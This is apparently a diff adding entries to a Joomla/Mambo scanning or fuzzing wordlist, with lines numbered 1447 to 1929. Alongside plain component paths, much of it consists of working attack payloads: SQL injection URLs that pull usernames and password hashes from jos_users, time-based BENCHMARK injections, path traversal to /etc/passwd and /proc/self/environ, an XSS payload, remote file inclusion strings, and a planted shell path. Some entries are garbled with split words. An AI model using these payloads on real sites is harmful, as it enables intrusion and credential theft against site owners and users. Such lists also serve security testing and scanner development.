components/com_fm/fm.install.php
|
1447
|
+
components/com_foevpartners/
|
1448
|
+
components/com_football/
|
1449
|
+
components/com_formtool/
|
1450
|
+
components/com_forum/
|
1451
|
+
components/com_fq/
|
1452
|
+
components/com_fundraiser/
|
1453
|
+
components/com_galeria/
|
1454
|
+
components/com_galleria/galleria.html.php
|
1455
|
+
components/com_gallery/
|
1456
|
+
components/com_game/
|
1457
|
+
components/com_gameq/
|
1458
|
+
components/com_garyscookbook/
|
1459
|
+
components/com_genealogy/
|
1460
|
+
components/com_geoboerse/
|
1461
|
+
components/com_gigcal/
|
1462
|
+
components/com_gmaps/
|
1463
|
+
components/com_googlebase/
|
1464
|
+
components/com_gsticketsystem/
|
1465
|
+
components/com_guide/
|
1466
|
+
components/com_hashcash/server.php
|
1467
|
+
components/com_hbssearch/
|
1468
|
+
components/com_hello_world/
|
1469
|
+
components/com_hotproperties/
|
1470
|
+
components/com_hotproperty/
|
1471
|
+
components/com_hotspots/
|
1472
|
+
components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php
|
1473
|
+
components/com_hwdvideoshare/
|
1474
|
+
components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1");
|
1475
|
+
components/com_ice/
|
1476
|
+
components/com_idoblog/
|
1477
|
+
components/com_idvnews/
|
1478
|
+
components/com_ignitegallery/
|
1479
|
+
components/com_ijoomla_archive/
|
1480
|
+
components/com_ijoomla_rss/
|
1481
|
+
components/com_inter/
|
1482
|
+
components/com_ionfiles/
|
1483
|
+
components/com_is/
|
1484
|
+
components/com_ixxocart/
|
1485
|
+
components/com_jabode/
|
1486
|
+
components/com_jashowcase/
|
1487
|
+
components/com_jb2/
|
1488
|
+
components/com_jce/
|
1489
|
+
components/com_jcs/
|
1490
|
+
components/com_jd-wiki/
|
1491
|
+
components/com_jd-wp/
|
1492
|
+
components/com_jim/
|
1493
|
+
components/com_jjgallery/
|
1494
|
+
components/com_jmovies/
|
1495
|
+
components/com_jobline/
|
1496
|
+
components/com_jombib/
|
1497
|
+
components/com_joobb/
|
1498
|
+
components/com_jooget/
|
1499
|
+
components/com_joom12pic/
|
1500
|
+
components/com_joomla-visites/
|
1501
|
+
components/com_joomla_flash_uploader/
|
1502
|
+
components/com_joomlaboard/
|
1503
|
+
components/com_joomladate/
|
1504
|
+
components/com_joomlaflashfun/
|
1505
|
+
components/com_joomlalib/
|
1506
|
+
components/com_joomlaradiov5/
|
1507
|
+
components/com_joomlavvz/
|
1508
|
+
components/com_joomlaxplorer/
|
1509
|
+
components/com_joomloads/
|
1510
|
+
components/com_joomradio/
|
1511
|
+
components/com_joomtracker/
|
1512
|
+
components/com_joovideo/
|
1513
|
+
components/com_jotloader/
|
1514
|
+
components/com_journal/
|
1515
|
+
components/com_jpack/
|
1516
|
+
components/com_jpad/
|
1517
|
+
components/com_jreactions/
|
1518
|
+
components/com_jreviews/scripts/xajax.inc.php
|
1519
|
+
components/com_jumi/
|
1520
|
+
components/com_juser/
|
1521
|
+
components/com_jvideo/
|
1522
|
+
components/com_k2/
|
1523
|
+
components/com_kbase/
|
1524
|
+
components/com_knowledgebase/fckeditor/fckeditor.js
|
1525
|
+
components/com_kochsuite /
|
1526
|
+
components/com_kunena/
|
1527
|
+
components/com_letterman/
|
1528
|
+
components/com_lexikon/
|
1529
|
+
components/com_linkdirectory/
|
1530
|
+
components/com_listoffreeads/
|
1531
|
+
components/com_livechat/getSavedChatRooms.php
|
1532
|
+
components/com_livechat/xmlhttp.php
|
1533
|
+
components/com_liveticker/
|
1534
|
+
components/com_lm/
|
1535
|
+
components/com_lmo/
|
1536
|
+
components/com_loudmounth/includes/abbc/abbc.class.php
|
1537
|
+
components/com_loudmouth/
|
1538
|
+
components/com_lowcosthotels/
|
1539
|
+
components/com_lurm_constructor/admin.lurm_constructor.php
|
1540
|
+
components/com_mad4joomla/
|
1541
|
+
components/com_madeira/img.php
|
1542
|
+
components/com_maianmusic/
|
1543
|
+
components/com_mailarchive/
|
1544
|
+
components/com_mailto/
|
1545
|
+
components/com_mambatstaff/mambatstaff.php
|
1546
|
+
components/com_mambelfish/
|
1547
|
+
components/com_mambospgm/
|
1548
|
+
components/com_mambowiki/MamboLogin.php
|
1549
|
+
components/com_marketplace/
|
1550
|
+
components/com_mcquiz/
|
1551
|
+
components/com_mdigg/
|
1552
|
+
components/com_media_library/
|
1553
|
+
components/com_mediaslide/
|
1554
|
+
components/com_mezun/
|
1555
|
+
components/com_mgm/
|
1556
|
+
components/com_minibb/
|
1557
|
+
components/com_misterestate/
|
1558
|
+
components/com_mmp/help.mmp.php
|
1559
|
+
components/com_model/
|
1560
|
+
components/com_moodle/moodle.php
|
1561
|
+
components/com_moofaq/
|
1562
|
+
components/com_mosmedia/
|
1563
|
+
components/com_mospray/scripts/admin.php
|
1564
|
+
components/com_mosres/
|
1565
|
+
components/com_most/
|
1566
|
+
components/com_mp3_allopass/
|
1567
|
+
components/com_mtree/
|
1568
|
+
components/com_mtree/img/listings/o/{id}.php
|
1569
|
+
components/com_multibanners/extadminmenus.class.php
|
1570
|
+
components/com_myalbum/
|
1571
|
+
components/com_mycontent/
|
1572
|
+
components/com_mydyngallery/
|
1573
|
+
components/com_mygallery/
|
1574
|
+
components/com_n-forms/
|
1575
|
+
components/com_na_content/
|
1576
|
+
components/com_na_mydocs/
|
1577
|
+
components/com_na_newsdescription/
|
1578
|
+
components/com_na_qforms/
|
1579
|
+
components/com_neogallery/
|
1580
|
+
components/com_neorecruit/
|
1581
|
+
components/com_neoreferences/
|
1582
|
+
components/com_netinvoice/
|
1583
|
+
components/com_news/
|
1584
|
+
components/com_news_portal/
|
1585
|
+
components/com_newsflash/
|
1586
|
+
components/com_nfn_addressbook/
|
1587
|
+
components/com_nicetalk/
|
1588
|
+
components/com_noticias/
|
1589
|
+
components/com_omnirealestate/
|
1590
|
+
components/com_omphotogallery/
|
1591
|
+
components/com_ongumatimesheet20/
|
1592
|
+
components/com_onlineflashquiz/
|
1593
|
+
components/com_ownbiblio/
|
1594
|
+
components/com_panoramic/
|
1595
|
+
components/com_paxgallery/
|
1596
|
+
components/com_paxxgallery/
|
1597
|
+
components/com_pcchess/
|
1598
|
+
components/com_pcchess/include.pcchess.php
|
1599
|
+
components/com_pccookbook/
|
1600
|
+
components/com_pccookbook/pccookbook.php
|
1601
|
+
components/com_peoplebook/param.peoplebook.php
|
1602
|
+
components/com_performs/
|
1603
|
+
components/com_philaform/
|
1604
|
+
components/com_phocadocumentation/
|
1605
|
+
components/com_php/
|
1606
|
+
components/com_phpshop/toolbar.phpshop.html.php
|
1607
|
+
components/com_pinboard/
|
1608
|
+
components/com_pms/
|
1609
|
+
components/com_poll/
|
1610
|
+
components/com_pollxt/
|
1611
|
+
components/com_ponygallery/
|
1612
|
+
components/com_portafolio/
|
1613
|
+
components/com_portfol/
|
1614
|
+
components/com_prayercenter/
|
1615
|
+
components/com_pro_desk/
|
1616
|
+
components/com_prod/
|
1617
|
+
components/com_productshowcase/
|
1618
|
+
components/com_profiler/
|
1619
|
+
components/com_projectfork/
|
1620
|
+
components/com_propertylab/
|
1621
|
+
components/com_puarcade/
|
1622
|
+
components/com_publication/
|
1623
|
+
components/com_quiz/
|
1624
|
+
components/com_rapidrecipe/
|
1625
|
+
components/com_rdautos/
|
1626
|
+
components/com_realestatemanager/
|
1627
|
+
components/com_recly/
|
1628
|
+
components/com_referenzen/
|
1629
|
+
components/com_rekry/
|
1630
|
+
components/com_remository/admin.remository.php
|
1631
|
+
components/com_remository_files/file_image_14/1276100016shell.php
|
1632
|
+
components/com_reporter/processor/reporter.sql.php
|
1633
|
+
components/com_resman/
|
1634
|
+
components/com_restaurante/
|
1635
|
+
components/com_ricette/
|
1636
|
+
components/com_rsfiles/
|
1637
|
+
components/com_rsgallery/
|
1638
|
+
components/com_rsgallery2/
|
1639
|
+
components/com_rss/
|
1640
|
+
components/com_rssreader/
|
1641
|
+
components/com_rssxt/
|
1642
|
+
components/com_rwcards/
|
1643
|
+
components/com_school/
|
1644
|
+
components/com_search/
|
1645
|
+
components/com_sebercart/getPic.php?p=[LFD]%00
|
1646
|
+
components/com_securityimages/
|
1647
|
+
components/com_sef/
|
1648
|
+
components/com_seminar/
|
1649
|
+
components/com_serverstat/install.serverstat.php
|
1650
|
+
components/com_sg/
|
1651
|
+
components/com_simple_review/
|
1652
|
+
components/com_simpleboard/
|
1653
|
+
components/com_simplefaq/
|
1654
|
+
components/com_simpleshop/
|
1655
|
+
components/com_sitemap/sitemap.xml.php
|
1656
|
+
components/com_slideshow/
|
1657
|
+
components/com_smf/
|
1658
|
+
components/com_smf/smf.php
|
1659
|
+
components/com_swmenupro/
|
1660
|
+
components/com_team/
|
1661
|
+
components/com_tech_article/
|
1662
|
+
components/com_thopper/
|
1663
|
+
components/com_thyme/
|
1664
|
+
components/com_tickets/
|
1665
|
+
components/com_tophotelmodule/
|
1666
|
+
components/com_tour_toto/
|
1667
|
+
components/com_trade/
|
1668
|
+
components/com_uhp/
|
1669
|
+
components/com_uhp2/
|
1670
|
+
components/com_user/controller.php
|
1671
|
+
components/com_users/
|
1672
|
+
components/com_utchat/pfc/lib/pear/PHPUnit/GUI/Gtk.php
|
1673
|
+
components/com_vehiclemanager/
|
1674
|
+
components/com_versioning /
|
1675
|
+
components/com_videodb/core/videodb.class.xml.php
|
1676
|
+
components/com_virtuemart/
|
1677
|
+
components/com_volunteer/
|
1678
|
+
components/com_vr/
|
1679
|
+
components/com_waticketsystem/
|
1680
|
+
components/com_webhosting/
|
1681
|
+
components/com_weblinks/
|
1682
|
+
components/com_webring/
|
1683
|
+
components/com_wmtgallery/
|
1684
|
+
components/com_wmtportfolio/
|
1685
|
+
components/com_x-shop/
|
1686
|
+
components/com_xevidmegahd/
|
1687
|
+
components/com_xewebtv/
|
1688
|
+
components/com_xfaq/
|
1689
|
+
components/com_xgallery/helpers/img.php?file=
|
1690
|
+
components/com_xsstream-dm/
|
1691
|
+
components/com_ynews/
|
1692
|
+
components/com_yvcomment/
|
1693
|
+
components/com_zoom/classes/
|
1694
|
+
components/mod_letterman/
|
1695
|
+
components/remository/
|
1696
|
+
eXtplorer/
|
1697
|
+
easyblog/entry/uncategorized
|
1698
|
+
extplorer/
|
1699
|
+
components/com_mtree/img/listings/o/{id}.php where {id}
|
1700
|
+
includes/joomla.php
|
1701
|
+
index.php/404'
|
1702
|
+
index.php/?option=com_question&catID=21' and+1=0 union all
|
1703
|
+
index.php/image-gallery/"><script>alert('xss')</script>/25-koala
|
1704
|
+
index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1
|
1705
|
+
index.php?option=com_aardvertiser&cat_name=Vehicles'+AND+'1'='1&task=view
|
1706
|
+
index.php?option=com_aardvertiser&cat_name=conf&task=<=
|
1707
|
+
index.php?option=com_aardvertiser&task=
|
1708
|
+
index.php?option=com_abc&view=abc&letter=AS§ionid='
|
1709
|
+
index.php?option=com_advert&id=36'
|
1710
|
+
index.php?option=com_alameda&controller=comments&task=edit&storeid=-1+union+all+select+concat_ws(0x3a,username,password)+from+jos_users--
|
1711
|
+
index.php?option=com_alfurqan15x&action=viewayat&surano=
|
1712
|
+
index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version
|
1713
|
+
index.php?option=com_annonces&view=edit&Itemid=1
|
1714
|
+
index.php?option=com_articleman&task=new
|
1715
|
+
index.php?option=com_bbs&bid=-1
|
1716
|
+
index.php?option=com_beamospetition&startpage=3&pet=-
|
1717
|
+
index.php?option=com_beamospetition&startpage=3&pet=-1+Union+select+user()+from+jos_users-
|
1718
|
+
index.php?option=com_bearleague&task=team&tid=8&sid=1&Itemid=%27
|
1719
|
+
index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00
|
1720
|
+
index.php?option=com_biblioteca&view=biblioteca&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23
|
1721
|
+
index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00
|
1722
|
+
index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=-1
|
1723
|
+
index.php?option=com_camelcitydb2&id=-3+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11+from+jos_users--
|
1724
|
+
index.php?option=com_chronoconnectivity&itemid=1
|
1725
|
+
index.php?option=com_chronocontact&itemid=1
|
1726
|
+
index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=
|
1727
|
+
index.php?option=com_clantools&squad=1+
|
1728
|
+
index.php?option=com_clantools&task=clanwar&showgame=1+
|
1729
|
+
index.php?option=com_commedia&format=raw&task=image&pid=4&id=964'
|
1730
|
+
index.php?option=com_commedia&task=page&commpid=21
|
1731
|
+
index.php?option=com_connect&view=connect&controller=
|
1732
|
+
index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../
|
1733
|
+
index.php?option=com_delicious&controller=../../../../../../../../../../etc/passwd%00
|
1734
|
+
index.php?option=com_dioneformwizard&controller=[LFI]%00
|
1735
|
+
index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=-1
|
1736
|
+
index.php?option=com_dshop&controller=fpage&task=flypage&idofitem=12
|
1737
|
+
index.php?option=com_easyfaq&Itemid=1&task=view&gid=
|
1738
|
+
index.php?option=com_easyfaq&catid=1&task=view&id=-2527+
|
1739
|
+
index.php?option=com_easyfaq&task=view&contact_id=
|
1740
|
+
index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id=
|
1741
|
+
index.php?option=com_equipment&task=components&id=45&sec_men_id=
|
1742
|
+
index.php?option=com_equipment&view=details&id=
|
1743
|
+
index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli]
|
1744
|
+
index.php?option=com_etree&view=displays&layout=category&id=[SQL]
|
1745
|
+
index.php?option=com_etree&view=displays&layout=user&user_id=[SQL]
|
1746
|
+
index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1
|
1747
|
+
index.php?option=com_fabrik&view=table&tableid=13+union+select+1----
|
1748
|
+
index.php?option=com_filecabinet&task=download&cid[]=7
|
1749
|
+
index.php?option=com_firmy&task=section_show_set&Id=-1
|
1750
|
+
index.php?option=com_fss&view=test&prodid=777777.7'+union+all+select+77777777777777%2C77777777777777%2C77777777777777%2Cversion()%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777--+D4NB4R
|
1751
|
+
index.php?option=com_golfcourseguide&view=golfcourses&cid=1&id=
|
1752
|
+
index.php?option=com_graphics&controller=
|
1753
|
+
index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0&data_search=
|
1754
|
+
index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0?data_search=&rpp=
|
1755
|
+
index.php?option=com_huruhelpdesk&view=detail
|
1756
|
+
index.php?option=com_huruhelpdesk&view=detail&cid[0]=
|
1757
|
+
index.php?option=com_huruhelpdesk&view=detail&cid[0]=-1
|
1758
|
+
index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=1
|
1759
|
+
index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=2
|
1760
|
+
index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id[]=1
|
1761
|
+
index.php?option=com_iproperty&view=agentproperties&id=
|
1762
|
+
index.php?option=com_jacomment&view=
|
1763
|
+
index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00
|
1764
|
+
index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00
|
1765
|
+
index.php?option=com_jcommunity&controller=members&task=1'
|
1766
|
+
index.php?option=com_jeajaxeventcalendar&view=alleventlist_more&event_id=-13
|
1767
|
+
index.php?option=com_jefaqpro&view=category&layout=categorylist&catid=2
|
1768
|
+
index.php?option=com_jefaqpro&view=category&layout=categorylist&task=lists&catid=2
|
1769
|
+
index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00
|
1770
|
+
index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL)))
|
1771
|
+
index.php?option=com_jfuploader&Itemid=
|
1772
|
+
index.php?option=com_jgen&task=view&id=
|
1773
|
+
index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00
|
1774
|
+
index.php?option=com_jimtawl&Itemid=12&task=
|
1775
|
+
index.php?option=com_jmarket&controller=product&task=1'
|
1776
|
+
index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=1'
|
1777
|
+
index.php?option=com_jomdirectory&task=search&type=111+
|
1778
|
+
index.php?option=com_joomdle&view=detail&cat_id=1&course_id=
|
1779
|
+
index.php?option=com_joomla_flash_uploader&Itemid=1
|
1780
|
+
index.php?option=com_joomleague&func=showNextMatch&p=[sqli]
|
1781
|
+
index.php?option=com_joomleague&view=resultsmatrix&p=4&Itemid=[sqli]
|
1782
|
+
index.php?option=com_joomtouch&controller=
|
1783
|
+
index.php?option=com_jphone&controller../../../../../../../../../../etc/passwd%00
|
1784
|
+
index.php?option=com_jphone&controller../../../../../../../../../../proc/self/environ%00
|
1785
|
+
index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users
|
1786
|
+
index.php?option=com_jstore&controller=product-display&task=1'
|
1787
|
+
index.php?option=com_jsubscription&controller=subscription&task=1'
|
1788
|
+
index.php?option=com_jtickets&controller=ticket&task=1'
|
1789
|
+
index.php?option=com_konsultasi&act=detail&sid=
|
1790
|
+
index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en
|
1791
|
+
index.php?option=com_kunena&func=userlist&search=
|
1792
|
+
index.php?option=com_lead&task=display&archive=1&Itemid=65&leadstatus=1'
|
1793
|
+
index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00
|
1794
|
+
index.php?option=com_markt&page=show_category&catid=7+union+select+0,1,password,3,4,5,username,7,8+from+jos_users--
|
1795
|
+
index.php?option=com_matamko&controller=
|
1796
|
+
index.php?option=com_myhome&task=4&nidimmindex.php?option=com_myhome&task=4&nidimm
|
1797
|
+
index.php?option=com_neorecruit&task=offer_view&id=
|
1798
|
+
index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
|
1799
|
+
index.php?option=com_noticeboard&controller=
|
1800
|
+
index.php?option=com_obsuggest&controller=
|
1801
|
+
index.php?option=com_ongallery&task=ft&id=-1+order+by+1--
|
1802
|
+
index.php?option=com_ongallery&task=ft&id=-1+union+select+1--
|
1803
|
+
index.php?option=com_oziogallery&Itemid=
|
1804
|
+
index.php?option=com_page&id=53
|
1805
|
+
index.php?option=com_pbbooking&task=validate&id=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(999999999,NULL),NULL)))
|
1806
|
+
index.php?option=com_pcchess&controller=../../../../../../../../../../../../../etc/passwd%00
|
1807
|
+
index.php?option=com_peliculas&view=peliculas&id=null[Sql Injection]
|
1808
|
+
index.php?option=com_phocagallery&view=categories&Itemid=
|
1809
|
+
index.php?option=com_photomapgallery&view=imagehandler&folder=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
|
1810
|
+
index.php?option=com_php&file=../../../../../../../../../../etc/passwd
|
1811
|
+
index.php?option=com_php&file=../images/phplogo.jpg
|
1812
|
+
index.php?option=com_php&file=../js/ie_pngfix.js
|
1813
|
+
index.php?option=com_ponygallery&Itemid=[sqli]
|
1814
|
+
index.php?option=com_products&catid=-1
|
1815
|
+
index.php?option=com_products&id=-1
|
1816
|
+
index.php?option=com_products&product_id=-1
|
1817
|
+
index.php?option=com_products&task=category&catid=-1
|
1818
|
+
index.php?option=com_properties&task=agentlisting&aid=
|
1819
|
+
index.php?option=com_qcontacts&Itemid=1'
|
1820
|
+
index.php?option=com_qcontacts?=catid=0&filter_order=[SQLi]&filter_order_Dir=&option=com_qcontacts
|
1821
|
+
index.php?option=com_record&controller=../../../../../../../../../../etc/passwd%00
|
1822
|
+
index.php?option=com_restaurantguide&view=country&id='&Itemid=69
|
1823
|
+
index.php?option=com_rokmodule&tmpl=component&type=raw&module=1'
|
1824
|
+
index.php?option=com_seyret&view=
|
1825
|
+
index.php?option=com_simpleshop&Itemid=26&task=viewprod&id=-999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users--
|
1826
|
+
index.php?option=com_smartsite&controller=
|
1827
|
+
index.php?option=com_spa&view=spa_product&cid=
|
1828
|
+
index.php?option=com_spidercalendar
|
1829
|
+
index.php?option=com_spidercalendar&date=1'
|
1830
|
+
index.php?option=com_spielothek&task=savebattle&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
|
1831
|
+
index.php?option=com_spielothek&view=battle&wtbattle=ddbdelete&dbtable=vS&loeschen[0]=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
|
1832
|
+
index.php?option=com_spielothek&view=battle&wtbattle=play&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))
|
1833
|
+
index.php?option=com_staticxt&staticfile=test.php&id=1923
|
1834
|
+
index.php?option=com_szallasok&mode=8&id=25 (SQL)
|
1835
|
+
index.php?option=com_tag&task=tag&tag=
|
1836
|
+
index.php?option=com_timereturns&view=timereturns&id=7+union+all+select+concat_ws(0x3a,username,password),2,3,4,5,6+from+jos_users--
|
1837
|
+
index.php?option=com_timetrack&view=timetrack&ct_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,CONCAT(username,0x3A,password) FROM jos_users
|
1838
|
+
index.php?option=com_ultimateportfolio&controller=
|
1839
|
+
index.php?option=com_users&view=registration
|
1840
|
+
index.php?option=com_virtuemart&page=account.index&keyword=[sqli]
|
1841
|
+
index.php?option=com_worldrates&controller=../../../../../../../../../../etc/passwd%00
|
1842
|
+
index.php?option=com_x-shop&action=artdetail&idd='
|
1843
|
+
index.php?option=com_x-shop&action=artdetail&idd='[SQLi]
|
1844
|
+
index.php?option=com_xcomp&controller=../../[LFI]%00
|
1845
|
+
index.php?option=com_xvs&controller=../../[LFI]%00
|
1846
|
+
index.php?option=com_yellowpages&cat=-1923+UNION+SELECT 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+jos_users--+Union+select+user()+from+jos_users--
|
1847
|
+
index.php?option=com_yjcontactus&view=
|
1848
|
+
index.php?option=com_youtube&id_cate=4
|
1849
|
+
index.php?option=com_zina&view=zina&Itemid=9
|
1850
|
+
index.php?option=com_zoomportfolio&view=portfolio&view=portfolio&id=
|
1851
|
+
index.php?search=NoGe&option=com_esearch&searchId=
|
1852
|
+
index.php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube
|
1853
|
+
index2.php?option=com_joomradio&page=show_video&id=-13+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+jos_users--
|
1854
|
+
js/index.php?option=com_socialads&view=showad&Itemid=94
|
1855
|
+
libraries/joomla/utilities/compat/php50x.php
|
1856
|
+
libraries/pcl/pcltar.php
|
1857
|
+
libraries/phpmailer/phpmailer.php
|
1858
|
+
libraries/phpxmlrpc/xmlrpcs.php
|
1859
|
+
modules/mod_artuploader/upload.php");
|
1860
|
+
modules/mod_as_category.php
|
1861
|
+
modules/mod_calendar.php
|
1862
|
+
modules/mod_ccnewsletter/helper/popup.php?id=[SQLi]
|
1863
|
+
modules/mod_dionefileuploader/upload.php?module_dir=./&module_max=2097152&file_type=application/octet-stream");
|
1864
|
+
modules/mod_jfancy/script.php");
|
1865
|
+
modules/mod_ppc_simple_spotlight/elements/upload_file.php
|
1866
|
+
modules/mod_ppc_simple_spotlight/img/
|
1867
|
+
modules/mod_pxt/
|
1868
|
+
modules/mod_quick_question.php
|
1869
|
+
modules/mod_visitorsgooglemap/map_data.php?action=listpoints&lastMarkerID=0
|
1870
|
+
patch/makedown.php?arquivo=../../../../etc/passwd
|
1871
|
+
plugins/content/efup_files/helper.php");
|
1872
|
+
plugins/editors/idoeditor/themes/advanced/php/image.php" method="post" enctype="multipart/form-data">
|
1873
|
+
plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/
|
1874
|
+
plugins/editors/xstandard/attachmentlibrary.php
|
1875
|
+
print.php?task=person&id=36 and 1=1
|
1876
|
+
templates/be2004-2/
|
1877
|
+
templates/ja_purity/
|
1878
|
+
wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1--
|
1879
|
+
web/index.php?option=com_rokmodule&tmpl=component&type=raw&module=1'
|
1880
|
+
/administrator/components/com_admin/admin.admin.html.php?mosConfig_absolute_path=shell
|
1881
|
+
/components/com_simpleboard/file_upload.php?sbp=shell
|
1882
|
+
/components/com_hashcash/server.php?mosConfig_absolute_path=shell
|
1883
|
+
/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=shell
|
1884
|
+
/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=shell
|
1885
|
+
/components/com_performs/performs.php?mosConfig_absolute_path=shell
|
1886
|
+
/components/com_forum/download.php?phpbb_root_path=
|
1887
|
+
/components/com_pccookbook/pccookbook.php?mosConfig_absolute_path=shell
|
1888
|
+
/components/com_extcalendar/extcalendar.php?mosConfig_absolute_path=shell
|
1889
|
+
/components/minibb/index.php?absolute_path=shell
|
1890
|
+
/components/com_smf/smf.php?mosConfig_absolute_path=
|
1891
|
+
/modules/mod_calendar.php?absolute_path=shell
|
1892
|
+
/components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=shell
|
1893
|
+
/components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path=shell
|
1894
|
+
/components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=shel l
|
1895
|
+
/components/com_pcchess/include.pcchess.php?mosConfig_absolute_path=shell
|
1896
|
+
/administrator/components/com_multibanners/extadminmenus.class.php?mosConfig_absolute_path=sh ell
|
1897
|
+
/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=shell
|
1898
|
+
/administrator/components/com_colophon/admin.colophon.php?mosConfig_absolute_path=shell
|
1899
|
+
/administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path=shell
|
1900
|
+
/components/com_mambatstaff/mambatstaff.php?mosConfig_absolute_path=shell
|
1901
|
+
/components/com_securityimages/configinsert.php?mosConfig_absolute_path=shell
|
1902
|
+
/components/com_securityimages/lang.php?mosConfig_absolute_path=shell
|
1903
|
+
/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=shell
|
1904
|
+
/components/com_galleria/galleria.html.php?mosConfig_absolute_path=shell
|
1905
|
+
/akocomments.php?mosConfig_absolute_path=shell
|
1906
|
+
/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=shell
|
1907
|
+
/administrator/components/com_kochsuite/config.kochsuite.php?mosConfig_absolute_path=shell
|
1908
|
+
/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=shell
|
1909
|
+
/components/com_zoom/classes/fs_unix.php?mosConfig_absolute_path=shell
|
1910
|
+
/components/com_zoom/includes/database.php?mosConfig_absolute_path=shell
|
1911
|
+
/administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path=she ll
|
1912
|
+
/components/com_fm/fm.install.php?lm_absolute_path=shell
|
1913
|
+
/administrator/components/com_mambelfish/mambelfish.class.php?mosConfig_absolute_path=shell
|
1914
|
+
/components/com_lmo/lmo.php?mosConfig_absolute_path=shell
|
1915
|
+
/administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php?mosConfig_absolute_ path=shell
|
1916
|
+
/components/com_mtree/Savant2/Savant2_Plugin_textarea.php?mosConfig_absolute_pat h=shell
|
1917
|
+
/administrator/components/com_jim/install.jim.php?mosConfig_absolute_path=shell
|
1918
|
+
/administrator/components/com_webring/admin.webring.docs.php?component_dir=shell
|
1919
|
+
/administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=
|
1920
|
+
/administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=shell
|
1921
|
+
/administrator/components/com_lurm_constructor/admin.lurm_constructor.php?lm_absolute_path=shell
|
1922
|
+
/components/com_mambowiki/ MamboLogin.php?IP=shell
|
1923
|
+
/administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=shell
|
1924
|
+
/administrator/components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=s hell
|
1925
|
+
/components/com_cpg/cpg.php?mosConfig_absolute_path=shell
|
1926
|
+
/components/com_moodle/moodle.php?mosConfig_absolute_path=shell
|
1927
|
+
/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_p ath=shell
|
1928
|
+
/components/com_mospray/scripts/admin.php?basedir=shell
|
1929
|
+
